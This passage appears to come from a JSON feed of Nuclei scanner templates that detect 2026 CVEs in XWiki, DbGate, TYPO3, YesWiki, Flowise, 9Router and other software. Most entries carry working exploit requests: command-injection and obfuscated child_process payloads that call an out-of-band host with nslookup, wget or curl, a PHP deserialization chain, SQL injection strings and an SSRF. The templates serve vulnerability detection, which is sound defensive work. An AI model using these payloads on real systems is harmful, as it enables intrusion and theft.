cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: xwiki\n    product: xwiki\n    fofa-query: body=\"data-xwiki-reference\"\n    shodan-query: html:\"data-xwiki-reference\"\n  tags: cve,cve2026,xwiki,disclosure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/xwiki/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c\"\n      - \"{{BaseURL}}/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'totalrows\":'\n          - 'returnedrows\":'\n          - 'doc_viewable\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022042435f834b6f2792c7d518b20512838f4857f316a18c9707e9f76cc28218282502204140a4e11de8565f4f79f24af33558d6c9635d85ad9443d87309e3724443c970:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-48048.yaml","vuln_id":"cve-2026-48048"},{"raw":"id: CVE-2026-48030\n\ninfo:\n  name: Pheditor 2.0.1-2.0.3 - OS Command Injection\n  author: juoum00000\n  severity: critical\n  description: |\n    Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.\n  impact: |\n    Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.\n  remediation: |\n    Upgrade to version 2.0.4 or later.\n  reference:\n    - https://github.com/advisories/GHSA-jvc5-6g7q-c843\n    - https://github.com/muslimbek-0x/CVE-2026-48030\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48030\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-48030\n    epss-score: 0.07548\n    epss-percentile: 0.94531\n    cwe-id: CWE-78\n  metadata:\n    max-request: 4\n    verified: true\n    vendor: pheditor\n    product: pheditor\n    fofa-query: body=\"pheditor_password\"\n    shodan-query: http.html:pheditor\n  tags: cve,cve2026,rce,pheditor,authenticated\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /pheditor.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        pheditor_password={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /pheditor.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"token\")'\n          - '!contains(body, \"pheditor_password\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        group: 1\n        internal: true\n        regex:\n          - 'token = \"([0-9a-f]{64})\"'\n\n  - raw:\n      - |\n        POST /pheditor.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"uid=\")'\n        condition: and\n# digest: 4a0a0047304502204829fe58a97f11f981f7aa0c58fe2a988feb5505eee0b5e858a3d1ff273f951d022100c6c17141512f1b86fcd6fcc353947614d5a83ead8c17d3d475dee3d14b0c26d8:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48030.yaml","vuln_id":"cve-2026-48030"},{"raw":"id: CVE-2026-47717\n\ninfo:\n  name: FUXA 1.3.0 - Unauthenticated ICS/SCADA Project Data Disclosure\n  author: pussycat0x\n  severity: high\n  description: |\n    FUXA v1.3.0 exposes full SCADA/HMI project configuration via GET /api/project without authentication, even when secureEnabled is true. The secureFnc middleware auto-generates\n    a valid guest JWT when no token is provided, bypassing authentication. Exposed data includes server-side scripts, device configs, HMI views, and alarm definitions.\n  remediation: |\n    Upgrade to fuxa-server version 1.3.1 or later.\n  reference:\n    - https://github.com/advisories/GHSA-q3w6-q3hc-c5x6\n    - https://www.miggo.io/vulnerability-database/cve/CVE-2026-47717\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-47717\n    epss-score: 0.01375\n    epss-percentile: 0.72099\n    cwe-id: CWE-201\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: frangoteam\n    product: fuxa\n    shodan-query: http.title:\"FUXA\"\n    fofa-query: title=\"FUXA\"\n  tags: cve,cve2026,fuxa,ics,scada,unauth,exposure\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/project\"\n\n    headers:\n      Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"devices\\\"\", \"\\\"hmi\\\"\", \"\\\"scripts\\\"\", \"\\\"views\\\"\")'\n          - 'contains_any(body, \"\\\"polling\\\"\", \"\\\"svgcontent\\\"\", \"\\\"ModbusTCP\\\"\", \"\\\"bkcolor\\\"\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a00463044022063754b7462d0353deec7136425b1c17d1e8ac239c3575696533651cf086303f8022001d14831d4104175563370f9aafbafcc0a64cdb3dc6e14c876a31325bf597628:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-47717.yaml","vuln_id":"cve-2026-47717"},{"raw":"id: CVE-2026-47670\n\ninfo:\n  name: DbGate - Remote Code Execution via Dynamic Import Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    DbGate versions <= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().\n  impact: |\n    An authenticated user can escalate from web UI access to a root OS shell, steal infrastructure secrets from /proc/1/environ, extract other users credentials, pivot to internal networks, and install persistent backdoors.\n  reference:\n    - https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-47670\n    - https://github.com/advisories/GHSA-wm5r-5qp3-5vxf\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 9.4\n    cve-id: CVE-2026-47670\n    epss-score: 0.01757\n    epss-percentile: 0.78018\n    cwe-id: CWE-77\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"DbGate\"\n    fofa-query: title=\"DbGate\"\n    vendor: dbgate\n    product: dbgate\n  tags: cve,cve2026,dbgate,rce,vuln,auth,vkev\n\nvariables:\n  canary: \"{{rand_text_alpha(8)}}\"\n  jslfile: \"/tmp/_dbg_{{rand_text_alpha(6)}}.jsonl\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"amoid\":\"logins\",\"login\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"accessToken\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: token\n        part: body\n        json:\n          - '.accessToken'\n        internal: true\n\n  - raw:\n      - |\n        POST /runners/load-reader HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"functionName\":\"csvReader\\nvar _f=await import('fs');var _c=await import('child_process');var _o=_c.execSync('id').toString().trim();_f.writeFileSync('{{jslfile}}',JSON.stringify({__isStreamHeader:true,columns:[{columnName:'out'}]})+String.fromCharCode(10)+JSON.stringify({out:'{{canary}}'+' '+_o})+String.fromCharCode(10));//\",\"props\":{}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        POST /jsldata/get-rows HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"jslid\":\"file://{{jslfile}}\",\"offset\":0,\"limit\":100}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{canary}}\"\n\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c210f1601cf7f139a58b8c57c931b921c9b7c4792c98c9acb541494645659df9022044c8c28d78f7831cd230e95d512af17c78edfe8bf09ef6ccbbe6b1fafa65f4ed:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-47670.yaml","vuln_id":"cve-2026-47670"},{"raw":"id: CVE-2026-47668\n\ninfo:\n  name: DbGate - Remote Code Execution via Anonymous JWT\n  author: benharvey-sage\n  severity: critical\n  description: |\n   DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.\n  impact: |\n   An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.\n  remediation: |\n   Update DbGate to the latest patched version.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-47668\n    - https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc\n    - https://github.com/dbgate/dbgate\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-47668\n    epss-score: 0.03882\n    epss-percentile: 0.90257\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: dbgate\n    product: dbgate\n    shodan-query: http.title:\"DbGate\"\n    fofa-query: title=\"DbGate\"\n  tags: cve,cve2026,dbgate,rce,oast,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"amoid\":\"none\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"accessToken\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body\n        internal: true\n        json:\n          - '.accessToken'\n\n  - raw:\n      - |\n        POST /runners/start HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: application/json\n\n        {\"script\":{\"type\":\"json\",\"commands\":[{\"type\":\"assign\",\"variableName\":\"x\",\"functionName\":\"x;try{var m=process.mainModule;var r=m[\\\"req\\\"+\\\"uire\\\"];var n=[\\\"chi\\\",\\\"ld_\\\",\\\"pro\\\",\\\"ces\\\",\\\"s\\\"].join(\\\"\\\");var cp=r(n);var o=cp[\\\"exe\\\"+\\\"cSy\\\"+\\\"nc\\\"](\\\"nslookup {{interactsh-url}} || wget {{interactsh-url}}\\\").toString();}catch(e){};// \",\"props\":{}}],\"packageNames\":[]}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"dns\", \"http\")'\n        condition: and\n# digest: 4a0a00473045022039b18b0bb3b1f4203eaf35d43fd544de98950bf9cf9a91b3004d716ca322b379022100e8e5723635f4609ddf77478bd4ee655cec0b9dbc3272742c999145fe4eae3bd0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-47668.yaml","vuln_id":"cve-2026-47668"},{"raw":"id: CVE-2026-46725\n\ninfo:\n  name: TYPO3 ceselector Extension - Insecure Deserialization\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.\n  impact: |\n    Remote unauthenticated attackers can execute arbitrary code on the TYPO3 server, leading to full system compromise.\n  remediation: |\n    Update to the latest version of TYPO3 with the vulnerability fixed or apply patches that validate and sanitize unserialize input.\n  reference:\n    - https://typo3.org/security/advisory/typo3-ext-sa-2026-001\n    - https://packagist.org/packages/mmc/ceselector\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-46725\n    epss-score: 0.02625\n    epss-percentile: 0.85529\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mmc\n    product: ceselector\n    framework: typo3\n    shodan-query: http.component:\"TYPO3 CMS\"\n  tags: cve,cve2026,typo3,deserialization,rce,ceselector,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"T3_ceselector_\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: ceselector_cookie\n        part: header\n        group: 1\n        regex:\n          - \"(?i)Set-Cookie:\\\\s*(T3_ceselector_\\\\d+)=\"\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.5\n        Connection: close\n        Cookie: {{ceselector_cookie}}=O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00handlers%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3Bs%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3Bs%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3Bs%3A9%3A%22%00%2A%00buffer%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7Bs%3A5%3A%22level%22%3BE%3A19%3A%22Monolog%5CLevel%3ADebug%22%3Bs%3A5%3A%22mixed%22%3Bs%3A2%3A%22id%22%3B%7D%7Ds%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00processors%22%3Ba%3A3%3A%7Bi%3A0%3Bs%3A15%3A%22get_object_vars%22%3Bi%3A1%3Bs%3A3%3A%22end%22%3Bi%3A2%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'regex(\"uid=\\\\d+\\\\([a-z_][a-z0-9_-]*\\\\)\\\\s+gid=\\\\d+\\\\([a-z_][a-z0-9_-]*\\\\)\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 0\n        regex:\n          - \"uid=\\\\d+\\\\([a-zA-Z0-9_-]+\\\\)\\\\s+gid=\\\\d+\\\\([a-zA-Z0-9_-]+\\\\)[^\\\\n]*\"\n# digest: 490a0046304402203112b4d8bb6768d9a23f54e0d0b70bf352c0c589229a27069606908a1514424102202e25c78245b5ba2a94dd505480276e7eabe95cb3cc174d740b66ada82a17eb01:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-46725.yaml","vuln_id":"cve-2026-46725"},{"raw":"id: CVE-2026-46670\n\ninfo:\n  name: YesWiki < 4.6.4 - Unauthenticated SQL Injection\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.\n  impact: |\n    An unauthenticated attacker can dump the entire database contents including usernames, emails, and hashed passwords from the yeswiki_users table.\n  remediation: |\n    Update YesWiki to version 4.6.4 or later.\n  reference:\n    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-46670\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-46670\n    epss-score: 0.01992\n    epss-percentile: 0.80734\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: yeswiki\n    product: yeswiki\n    shodan-query: http.html:\"YesWiki\"\n    fofa-query: body=\"YesWiki\"\n  tags: cve,cve2026,yeswiki,sqli,unauth,intrusive\n\nvariables:\n  label: \"nuclei_{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?BazaR&vue=formulaire\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(to_lower(body), \"bazar\", \"yeswiki\")'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        POST /?BazaR&vue=formulaire HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        imported-form%5B7790000%2BASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A%22{{label}}%22%2C%22bn_template%22%3A%22%22%2C%22bn_description%22%3A%22%22%2C%22bn_condition%22%3A%22%22%7D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        GET /?api/forms HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'regex(\"\\\"779004[89]\\\":\\\\{|\\\"779005[0-7]\\\":\\\\{\", body)'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"(779004[89]|779005[0-7])\":\\{\"bn_id_nature\"'\n# digest: 490a004630440220781e99690f4f6b79e645c4fbaca61b9f52e52e9e58c2da560dd1847092e1cf2f022015da0bc1b4a1abbe8162e4cf07251ff9958426cf2e5b881a96e9cdc788851f56:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-46670.yaml","vuln_id":"cve-2026-46670"},{"raw":"id: CVE-2026-46442\n\ninfo:\n  name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE\n  author: DhiyaneshDk,princechaddha\n  severity: critical\n  description: |\n    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.\n  impact: |\n    Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.\n  remediation: |\n    Update to version 3.1.2 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-46442\n    - https://github.com/FlowiseAI/Flowise\n    - https://github.com/FlowiseAI/Flowise/security/advisories\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-46442\n    cwe-id: CWE-78\n    epss-score: 0.32998\n    epss-percentile: 0.98365\n    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: flowiseai\n    product: flowise\n    shodan-query: http.title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2026,flowise,cmdi,rce,oob,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Flowise\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/node-custom-function HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-request-from: internal\n\n        {\"functionBody\":\"require('child_process').execSync('nslookup {{interactsh-url}}');return '';\",\"nodeData\":{\"inputs\":{}}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4b0a00483046022100ba2a8fbab2921372a895025d8f398a41a1ed17f16bfe047df5591b746a9288cf022100b457851a8a6fa9888470a37df67c3d25237cbb0fdcade7ea7ce44ced83924575:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-46442.yaml","vuln_id":"cve-2026-46442"},{"raw":"id: CVE-2026-46372\n\ninfo:\n  name: SillyTavern - Server-Side Request Forgery\n  author: theamanrawat\n  severity: high\n  description: |\n    SillyTavern versions up to and including 1.17.0 expose the /api/search/searxng endpoint, which accepts an attacker-controlled baseUrl parameter and uses it directly to build outbound server-side fetch requests. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the full response body, enabling read access to internal services, cloud metadata endpoints, and private network resources.\n  remediation:\n    Upgrade SillyTavern to version 1.18.0 or later, which introduces a Private Request Whitelisting filter. Enable and properly configure the filter when hosting over a network.\n  reference:\n    - https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-46372\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N\n    cvss-score: 8.5\n    cve-id: CVE-2026-46372\n    epss-score: 0.00866\n    epss-percentile: 0.58806\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.title:\"SillyTavern\"\n    fofa-query: title=\"SillyTavern\"\n  tags: cve,cve2026,sillytavern,nodejs,ssrf,unauthenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<title>SillyTavern</title>\"\n        internal: true\n\n  - raw:\n      - |\n        GET /csrf-token HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /api/search/searxng HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        X-CSRF-Token: {{csrf_token}}\n\n        {\"baseUrl\":\"http://{{interactsh-url}}/\",\"query\":\"x\"}\n\n    extractors:\n      - type: json\n        name: csrf_token\n        part: body\n        internal: true\n        json:\n          - '.token'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"GET\"\n# digest: 490a004630440220113c11d2d1d50210bb3f4e5595522224a37a406a99f9fa5a80f03eae3df1e93a0220540adfff55783fc024903c927d4907db772b1fe127d0a65d69626382c0fff567:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-46372.yaml","vuln_id":"cve-2026-46372"},{"raw":"id: CVE-2026-46364\n\ninfo:\n  name: phpMyFAQ <= 4.1.1 - SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n  impact: |\n    Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n  remediation: |\n    Upgrade phpMyFAQ to version 4.1.2 or later.\n  reference:\n    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w\n    - https://www.phpmyfaq.de\n    - http://nvd.nist.gov/vuln/detail/CVE-2026-46364\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-89\n    epss-score: 0.01709\n    epss-percentile: 0.77397\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:-1194891278\n    fofa-query: app=\"phpMyFAQ\"\n  tags: cve,cve2026,sqli,phpmyfaq\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /api/captcha HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: x' OR SLEEP(8) OR 'x\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 8'\n          - 'status_code == 200'\n          - 'contains(body, \"Truncated incorrect DOUBLE\")'\n        condition: and\n# digest: 490a0046304402202c528e881c05039cf6fd8053ef883fff0b6f73eaeb296c5efad3de0906f128da0220518f35fc4856eb47a0966a81ad5111cdd3a173eede0f5dcc361ff78aa2bdf6a6:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-46364.yaml","vuln_id":"cve-2026-46364"},{"raw":"id: CVE-2026-46339\n\ninfo:\n  name: 9Router <= 0.4.36 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   9Router <= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.\n  impact: |\n   Full unauthenticated RCE as the 9Router process user, exposing API keys, Claude tokens, AWS credentials, and all stored MCP plugin configuration.\n  remediation: |\n   Upgrade to 9Router 0.4.37 or later.\n  reference:\n    - https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-46339\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-46339\n    epss-score: 0.02762\n    epss-percentile: 0.8632\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 3\n    product: 9router\n    vendor: decolua\n  tags: cve,cve2026,9router,rce,mcp,unauth,critical\n\nvariables:\n  plugin_name: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /api/version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"currentVersion\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/cli-tools/cowork-settings HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\"plugins\":[],\"localPlugins\":[],\"customPlugins\":[{\"name\":\"{{plugin_name}}\",\"command\":\"curl\",\"args\":[\"-s\",\"{{interactsh-url}}\"]}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/mcp/{{plugin_name}}/sse HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n        condition: and\n# digest: 4b0a00483046022100b0a0e3e6b9ae18e3e6167dd8c942c3374a0dd7c48920538b3dc7af6a7f9bcf9f022100cf6999f7ef6c3512bdfebd818ca419b24dd51fc6f0f54e4068c30b87ef96dbe6:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-46339.yaml","vuln_id":"cve-2026-46339"},{"raw":"id: CVE-2026-4631\n\ninfo:\n  name: Cockpit Web Console < 360 - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.\n  impact: |\n    Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.\n  remediation: Update to the latest version with input validation and sanitization for SSH parameters.\n  reference:\n    - https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427\n    - https://github.com/cockpit-project/cockpit/commit/9d0695647\n    - https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4631\n    epss-score: 0.1548\n    epss-percentile: 0.96816\n    cwe-id: 